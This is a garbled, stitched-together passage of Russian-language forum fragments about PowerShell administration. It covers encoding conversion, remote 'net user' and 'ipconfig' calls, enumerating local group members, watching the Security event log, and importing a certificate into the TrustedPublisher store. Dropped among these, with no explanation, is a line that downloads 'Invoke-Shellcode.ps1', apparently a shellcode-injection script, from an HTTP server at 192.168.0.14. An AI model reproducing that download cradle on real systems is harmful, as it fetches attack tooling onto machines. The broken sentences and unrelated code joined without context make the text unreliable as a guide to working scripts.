Какой правильный способ для того, чтобы каждые 5 минут этот скрипт перезапускался, создавая новый файл, оставляя старые файлы?
*-Job
- вообще не для этогоAdd-Content
, как раз, хорошо подойдёт для дописывания логов function Get-TextEncoding ($Encoding) {
switch -regex ($Encoding) {
'default' {
[System.Text.Encoding]::Default
}
'utf8' {
[System.Text.Encoding]::UTF8
}
'oem' {
[System.Text.Encoding]::GetEncoding(
(Get-Culture).TextInfo.OEMCodePage
)
}
'ansi' {
[System.Text.Encoding]::GetEncoding(
(Get-Culture).TextInfo.ANSICodePage
)
}
'^\d+$' {
[System.Text.Encoding]::GetEncoding([int]$Encoding)
}
default {
[System.Text.Encoding]::GetEncoding($Encoding)
}
}
}
function Convert-TextEncoding {
param (
[Parameter(ValueFromPipeline=$true,Position=0)]
[String[]]$InputObject,
[Parameter(Mandatory=$true,Position=1)]
[string]$FromEncoding,
[Parameter(Mandatory=$true,Position=2)]
[string]$ToEncoding
)
BEGIN {
try {
$FE = Get-TextEncoding $FromEncoding
$TE = Get-TextEncoding $ToEncoding
}
catch {
throw
}
}
PROCESS{
foreach ($s in $InputObject) {
if ($s) {
$TE.GetString($FE.GetBytes($s))
}
else {
$s
}
}
}
}
Invoke-Command -ComputerName $Computer { net user } |
Convert-TextEncoding -FromEncoding 1251 -ToEncoding 866
Invoke-Command -ScriptBlock { cmd /c "chcp 65001 && ipconfig /all" } -ComputerName ...
(New-Object Net.WebClient).DownloadString("http://192.168.0.14:8000/Invoke-Shellcode.ps1")
$Computername = 'xxx'
Get-CimInstance Win32_Group -filter "LocalAccount='True' and SID='S-1-5-32-555'" -ComputerName $Computername |
Select-Object PSComputername,Name,@{Name="Members";Expression={
(Get-CimAssociatedInstance -InputObject $_ -ResultClassName Win32_UserAccount).Name
}}
$Computername = 'xxx'
Get-WMIObject Win32_Group -filter "LocalAccount='True'and SID='S-1-5-32-555'" -ComputerName $Computername|
Select-Object PSComputername,Name,@{Name="Members";Expression={
$_.GetRelated("Win32_UserAccount").Name
}}
function Get-LocalGroupMember {
param(
[Parameter(ValueFromPipeline=$false, Position=0)]
[string[]]$GroupName = 'Administrators',
[Parameter(ValueFromPipeline=$true)]
[string[]]$ComputerName = '.'
)
PROCESS {
foreach ($computer in $ComputerName) {
foreach ($group in $GroupName) {
$grp = [ADSI]"WinNT://$computer/$group,group"
Write-Verbose ('Group: ' + $grp.Path) # test for existance
$members = @($grp.psbase.Invoke("Members"))
if ($members) {
$members | Foreach-Object {
$name = $_.GetType().InvokeMember("Name", 'GetProperty', $null, $_, $null)
$class = $_.GetType().InvokeMember("Class", 'GetProperty', $null, $_, $null)
$parent = $_.GetType().InvokeMember("Parent", 'GetProperty', $null, $_, $null) -replace 'WinNT://' -replace '.*/'
'' | Select-Object @{n='Class';e={$class}},@{n='Domain';e={$parent}},@{n='Name';e={$name}}
}
}
}
}
}
}
Get-LocalGroupMember -ComputerName MySuperServer -GroupName 'Пользователи удаленного рабочего стола', 'Remote Desktop Users'
$Paths = $Paths.FullName
foreach ( $Newpath in $Path)
?-Exclude *.xl*
тоже странно, проще проверить на xl* в коде, чем заставлять этим заниматься move-item. Может быть, вы ps заставляете по новой весь каталог обшаривать таким образом, а в нём 10000 файлов xls$global:log = New-Object System.Collections.ArrayList
$testobj = New-Object -TypeName System.Diagnostics.EventLog
$testobj.Log = "Security"
Register-ObjectEvent -InputObject $testobj -EventName EntryWritten -Action {
param($sender, $e)
[void]$global:log.Add([PSCustomObject]@{Sender = $sender; Args = $e })
}
# Смотреть потом события в переменной
$global:log
# PSv7 $cert = [Convert]::ToBase64String((Get-Content D:\Path\To\Certificate.pfx/cer -AsByteStream), 'InsertLineBreaks')
# PSv5.1 $cert = [Convert]::ToBase64String((Get-Content D:\Path\To\Certificate.pfx/cer -Encoding Byte), 'InsertLineBreaks')
$Cert = @"
MIILYgIBAzCCCx4GCSqGSIb3DQEH
.....
.....
.....
1y1lZqkQICB9A=
"@
#LocalMachine
$location = [System.Security.Cryptography.X509Certificates.StoreLocation]::CurrentUser
#ls Cert:\CurrentUser\
#ls Cert:\LocalMachine\
$storeName = 'TrustedPublisher'
$store = [System.Security.Cryptography.X509Certificates.X509Store]::new($storeName, $location)
$store.Open('ReadWrite')
[byte[]]$content = [Convert]::FromBase64String($cert)
$certificate = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new($content)
$store.Add($certificate)
$store.Close()